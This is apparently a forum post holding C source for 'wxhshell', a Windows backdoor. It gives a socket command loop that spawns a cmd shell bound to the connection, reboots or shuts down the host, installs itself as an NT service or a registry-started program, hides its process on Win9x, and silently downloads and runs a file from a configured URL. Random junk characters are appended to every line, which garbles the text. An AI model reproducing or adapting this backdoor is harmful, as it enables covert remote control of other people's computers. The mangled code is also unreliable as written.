      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hjD%=Ri0Z  
    break; gVNoC-n)  
  } F.),|t$\  
  // 安装 ;2P  
  case 'i': { }`.d4mm  
    if(Install()) &EmG\vfE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {B-*w%}HU  
    else T>68 ,; p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,&.$r/x|?  
    break; >#VNA^+t  
    } C),i#v  
  // 卸载 Z+=M_{`{  
  case 'r': { 1Li*n6tLX`  
    if(Uninstall()) R*/s#*gmL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F3[,6%4v  
    else Q[{RN ab  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ad&VOh+0  
    break; $[UUf}7L   
    } wJj:hA}  
  // 显示 wxhshell 所在路径 LXqPNVp#  
  case 'p': { EF6h>"']/  
    char svExeFile[MAX_PATH]; Cxeam"-HTt  
    strcpy(svExeFile,"\n\r"); X ,{ 3_  
      strcat(svExeFile,ExeFile); ALj~e#{;z  
        send(wsh,svExeFile,strlen(svExeFile),0); BP}@E$  
    break; McpQ7\*h  
    } 9dm oB_G  
  // 重启 1YK(oRSDn  
  case 'b': { [5!dO\-[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J$5Vjh'aM  
    if(Boot(REBOOT)) =f!clhO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YjH~8==  
    else { 2+_a<5l~  
    closesocket(wsh); ,l Y4WO  
    ExitThread(0); Xv3pKf-K  
    }  TJ1h[  
    break; P V:J>!]  
    } >n^780S|  
  // 关机 T*nP-b  
  case 'd': { zz /4 ()u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :bm%f%gg  
    if(Boot(SHUTDOWN)) vA}_x7}n(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l0C`teO  
    else { mRa\ wEg%  
    closesocket(wsh); 0<O()NMv  
    ExitThread(0); )2_[Ww|.  
    } c]zFZJ6M  
    break; 3{f g3?  
    } W.NZ%~|+e/  
  // 获取shell z0OxJe  
  case 's': { c_8<N7 C  
    CmdShell(wsh); A; wT`c  
    closesocket(wsh); UWidT+'Sa  
    ExitThread(0); J ZkQ/vp(  
    break; z:4_f:70  
  } #*:^\z_Jd  
  // 退出 'ZB^=T  
  case 'x': { ()48>||  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q k 6  
    CloseIt(wsh); &O^-,n  
    break; Z"RgqNf  
    } *~>p;*  
  // 离开 r! HXhl  
  case 'q': { X =%8*_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7f4O~4.[i  
    closesocket(wsh); :eSsqt9]9  
    WSACleanup(); N#2ldY *  
    exit(1); =YTcWB  
    break; - Z`RKR8C  
        } 3H`{ A/r  
  } vENf3;o0  
  } mf)+ 5On  
9 h?'zyX B  
  // 提示信息 f:-l}Zj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zskj?+1  
} -5 8q 6yA  
  } 9 @xl{S-  
z}B 39L  
  return; J|].h  
} ?*%_:fB  
|/vJ+aKq  
// shell模块句柄 (6 Od   
int CmdShell(SOCKET sock) f um.G{}  
{ P.qzP/Ny  
STARTUPINFO si; y?3.W  
ZeroMemory(&si,sizeof(si)); ]jFl?LA%7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EG;E !0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8'HS$J;C  
PROCESS_INFORMATION ProcessInfo; {eV8h}KIl  
char cmdline[]="cmd"; `/ayg:WSU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P/girce0  
  return 0; 0'fswa)  
} XS">`9o!  
kJp~'\b  
// 自身启动模式 tw>2<zmSi%  
int StartFromService(void) zD79M  
{ p*&0d@'r  
typedef struct qS2Nk.e]o  
{ Z sTtSM\Ac  
  DWORD ExitStatus; dw3Hk$"h  
  DWORD PebBaseAddress; z8'1R6nq  
  DWORD AffinityMask; M{Z ;7n'  
  DWORD BasePriority; `}$o<CJ  
  ULONG UniqueProcessId; %KXiB6<4  
  ULONG InheritedFromUniqueProcessId; {VL@U$'oI  
}   PROCESS_BASIC_INFORMATION; pX ^^0  
QCF'/G  
PROCNTQSIP NtQueryInformationProcess; !6T"J!F#  
~?AEtl#&"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C=/B\G/.9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {^ b2nOMv  
#uw&u6*\q  
  HANDLE             hProcess; *L$2M?xkY  
  PROCESS_BASIC_INFORMATION pbi; Zn'tNt/  
uI)twry]@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RI0^#S_{  
  if(NULL == hInst ) return 0; /}(d'@8p  
:Ko6.|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~vFa\7sf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ( %\7dxiK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IB/3=4n^|  
*iE tXv  
  if (!NtQueryInformationProcess) return 0; a+E&{p V  
Ve3z5d:^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UtQey ;w  
  if(!hProcess) return 0;  ir6' \  
*[3xc*5F/A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >H!Mx_fDL  
)rD!4"8/A  
  CloseHandle(hProcess); x8PT+KC  
N8b\OTk2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fI613ww]  
if(hProcess==NULL) return 0; hTr5Q33y>  
7{L4a\JzT  
HMODULE hMod; 6'r8.~O  
char procName[255]; DPTk5o[  
unsigned long cbNeeded; $'4 98%K2  
t'v t'[~,U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0jf6 z-4  
\ ;npdFy  
  CloseHandle(hProcess); ,vJt!}}  
:TH cI;PG8  
if(strstr(procName,"services")) return 1; // 以服务启动 tcuwGs>_  
U]iI8c  
  return 0; // 注册表启动 @1JwjtNk  
} LH8jT  
 uZS:  
// 主模块 CJBf5I3  
int StartWxhshell(LPSTR lpCmdLine) L>1hiD&  
{ Y$ ys4X  
  SOCKET wsl; *?rWS"B  
BOOL val=TRUE; 9CY{}g  
  int port=0; #) aLD0p  
  struct sockaddr_in door; YAr6 cl  
Ae+)RBpc  
  if(wscfg.ws_autoins) Install(); /o9T [ ^\  
,^UqE {  
port=atoi(lpCmdLine); ;*<tU n^t  
c=oDzAzuV\  
if(port<=0) port=wscfg.ws_port; fFjpQ~0  
$;qi -K3j  
  WSADATA data; G*fo9eu5$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I,j4 BU4  
Tlsh[@Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /kW Z 8Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mgq!)  
  door.sin_family = AF_INET; >='/%Ad  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $YL9 vJV  
  door.sin_port = htons(port); g* q#VmE  
P[nc8z[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GXtMX ha,  
closesocket(wsl); jFj11w1FrA  
return 1; OSgJj MQ  
} Jz}nV1G(jz  
#DTKz]i?  
  if(listen(wsl,2) == INVALID_SOCKET) { rs&]46i/p  
closesocket(wsl); q$Gs;gz^(  
return 1; VY0.]t  
} n~N>;m P  
  Wxhshell(wsl); ]gk1q{Ql<  
  WSACleanup(); ze+YQ F  
RP4/:sO  
return 0;  zUfq.   
/`*{57/3  
} =}^NyLE?  
eU yF<j  
// 以NT服务方式启动 Jl Do_}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) > ;,S||  
{ -/yqiC-yx  
DWORD   status = 0; :!`"GaTy  
  DWORD   specificError = 0xfffffff; e w^(3&  
 [XfR`@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U v2.Jo/Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?[D3 -4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f%Q{}fC{*  
  serviceStatus.dwWin32ExitCode     = 0; aF{_"X2  
  serviceStatus.dwServiceSpecificExitCode = 0; X'Ss#s>g  
  serviceStatus.dwCheckPoint       = 0;  < $~lFV  
  serviceStatus.dwWaitHint       = 0; [{znwK@  
iNO>'7s7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w?Te%/s.  
  if (hServiceStatusHandle==0) return; V]=22Cxi'~  
LW %AZkAx  
status = GetLastError(); :QE5 7 .  
  if (status!=NO_ERROR) {%V(Dd[B6  
{ |VBt:dd<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Yh":>~k?SY  
    serviceStatus.dwCheckPoint       = 0; {ZJO5*  
    serviceStatus.dwWaitHint       = 0; m|a9T#B(  
    serviceStatus.dwWin32ExitCode     = status; =kjKK  
    serviceStatus.dwServiceSpecificExitCode = specificError; \iuR+I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lSj gN~:z  
    return; p8 rh`7  
  } l& :EKh  
tcD7OC:"6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;FPx  
  serviceStatus.dwCheckPoint       = 0; D JP6Z  
  serviceStatus.dwWaitHint       = 0; 2;}leZ@U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^|Ap_!t$;  
} m5\T,  
&OMlW _FHR  
// 处理NT服务事件,比如:启动、停止 V>@[\N[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U&!TA(Yr  
{ YB#fAU  
switch(fdwControl) =$>=EBH,cm  
{ `+7F H  
case SERVICE_CONTROL_STOP: 615Ya<3f8  
  serviceStatus.dwWin32ExitCode = 0; ,6)N.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k s40 5  
  serviceStatus.dwCheckPoint   = 0; wj)LOA0  
  serviceStatus.dwWaitHint     = 0; #8$?# dT  
  { Y"Cf84E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @= -(H<0  
  } pu-HEv}]a|  
  return; eV;r /4  
case SERVICE_CONTROL_PAUSE: R+ * ; [  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !b8V&<  
  break; F'bwXb**  
case SERVICE_CONTROL_CONTINUE: }K{1Bm@S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i Ha?b2=)  
  break; <_EKCk  
case SERVICE_CONTROL_INTERROGATE: peQwH  
  break; B}e/MlX3M  
}; nzq   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L*@`i ]jl  
} ^7gGtz2  
zj 6I:Q r  
// 标准应用程序主函数 &i#$ia r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _y@ 28t  
{ Y]z :^D  
]\E"oZ  
// 获取操作系统版本 +;N]34>S7  
OsIsNt=GetOsVer(); Q@D7 \<t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VtBC~?2U)B  
YIQD9  
  // 从命令行安装 d?,'$$aB  
  if(strpbrk(lpCmdLine,"iI")) Install(); wQ_4_W  
~#_~DqbMZ5  
  // 下载执行文件 :@A&HkF  
if(wscfg.ws_downexe) { b--=GY))F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~Y 6'sM|  
  WinExec(wscfg.ws_filenam,SW_HIDE); O<u=Vz3c~0  
} S{c/3k~  
*a9cBl'_  
if(!OsIsNt) { 'Wlbh:=$  
// 如果时win9x,隐藏进程并且设置为注册表启动 bJ d| mm/v  
HideProc(); =i/Df ?  
StartWxhshell(lpCmdLine); ZU4=&K  
} v"*r %nCi  
else B8&q$QV  
  if(StartFromService()) 6$u/N gS  
  // 以服务方式启动 wu <0or2  
  StartServiceCtrlDispatcher(DispatchTable); i:lc]B  
else 0PzSp ]  
  // 普通方式启动 qu=~\t1[6  
  StartWxhshell(lpCmdLine); Jo?LPR \6  
VB |?S|<  
return 0; %hB-$nE  
}
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只看该作者 1 发表于: 2006-10-10
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